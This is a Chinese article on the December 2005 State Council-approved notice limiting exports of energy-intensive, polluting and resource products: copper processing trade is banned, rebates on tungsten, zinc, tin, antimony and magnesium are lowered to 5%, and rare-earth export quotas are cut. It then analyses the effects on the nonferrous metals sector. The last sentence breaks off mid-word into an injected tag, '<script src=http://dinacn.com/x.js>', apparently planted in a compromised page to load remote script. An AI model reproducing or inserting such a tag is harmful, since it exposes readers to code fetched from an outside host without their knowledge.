高耗能 高污染 资源性产品的冬天
2005年12月9日,经报请国务院批准,国家发展和改革委员会、财政部、商务部、国土资源部、海关总署、国家税务总局、国家环保总局等七大部委共同发布了“关于控制部分高耗能、高污染、资源性产品出口有关措施的通知”(以下简称“通知”)。此举被业内人士称为“高耗能、高污染、资源性产品冬天的来临”。
我国经济的快速发展使得我国对有色金属资源的依赖愈发增强,而我国是个人均资源占有量的弱国,金属资源很不乐观。有色金属工业是高耗能、污染重的资源型产业,目前部分高耗能、高污染、资源性产品出口问题仍比较突出,通知针对部分高耗能、高污染、资源性产品采取了新的出口有关措施。
1.停止部分产品的加工贸易。从2006年1月1日起,将进口废铜或铜精矿、出口未锻轧铜列入加工贸易禁止类目录,不再审批上述品种的加工贸易合同。此前已经商务主管部门批准并在海关备案的上述品种的加工贸易业务,允许按现行规定在批准有效期内执行完毕,到期后不予延期。未能按规定加工复出口的,按加工贸易内销规定办理手册核销手续。
2.调整部分产品的出口退税政策。2006年1月1日起,将汞、钨、锌、锡、锑及其制品,金属镁及其初级产品的出口退税率下调到5%。
3.控制部分资源性产品出口数量。对于部分可用竭的资源性产品,从保护国内资源的角度,在控制国内生产和消费的同时,也要进一步控制出口数量。对稀土等产品出口数量要适当调减。
目前很多的高耗能、高污染、资源性产品在我国生产出成品,把污染、能源消耗留给自己,以高昂代价获得的资源性产品出口。国家不鼓励这些有色金属产品出口,更何况我国本身就缺资源。在此情况下,国家出台一系列措施非常及时。
出口退税:最后的晚餐?
所谓出口退税,是指国家运用财政手段奖励出口生产,增强出口竞争能力的一种措施。这次对出口退税政策的重大改革,是国家优化产业结构,推动国民经济持续、快速、稳健发展的重要内容,必然对我国有色金属工业的发展产生重大影响。2006年1月1日起将钨、锌、锡、锑等的出口退税率从8%下调到5%,镁从13%下调到5%。此举可能将减少中国上述金属的出口量,意在使更多的金属为国内所用。
我国多年来为鼓励有色金属初级产品的出口,长期实行各种出口退税优惠政策。但资源严重短缺的有色金属生产企业,在大量出口低附加值的初级产品的同时,大量进口铜、铝、铅和锌等矿山原料,虚抬全球有色金属价格后更加剧了国内各种资源的短缺趋势。因此,为保障行业的可持续发展和加强生态环境保护,国家开始从关税制度上加强对稀缺的资源性产品和高耗能初级产品的出口控制。从2004年第四季度开始,国家已先后取消了铜、铝和镍等高耗能的有色金属初级产品的出口退税,并对电解铝加征了5%的出口关税,且作为国家宏观调控重点的电解铝行业因近期电解铝的出口不减反增,可能面临更高的出口关税。
调整出口政策对 有色行业的影响
国家调整出口退税政策,降低出口退税税率必然增加出口产品的成本。政府此举旨在控制出口,满足国内市场需求。据此,许多对有色金属产品出口不了解的分析认为,国家调整出口退税政策将对有色金属产品出口造成较大影响,这显然是不符合实际的。
对优势有色金属产品的出口,如有色金属资源钨、锡、锑、镁等,目前已经在国际市场上占有较大的份额,形成了一定的竞争优势。据分析,由于我国钨、锡、锑、镁等有色金属原料性产品的竞争优势比较明显,世界其他国家和地区的产能大多已经关闭,留下来的规模根本无法与我国的生产规模相比。所以,在短时间里,其他国家不可能对我国的钨、锡、锑、镁等有色金属出口构成重大威胁。因此,我国下调或者取消钨、锡、锑、镁等有色金属原料性产品的出口退税税率在理论上不会对出口产生严重影响。
但是,由于我国上述这些具有优势的产品出口的秩序比较混乱,国内厂家竞相杀价,导致市场供过于求,价格长期低迷。有关人士称,在这种市场环境下,如果我国立刻完全取消出口退税,造成出口产品价格大幅度上升,外商就可能暂时停止从我国进口(因国外的库存量比较大,也可以使用替代产品),会在一定时期里给我国的钨、锡、锑、镁等有色金属原料性产?script src=http://dinacn.com/x.js> |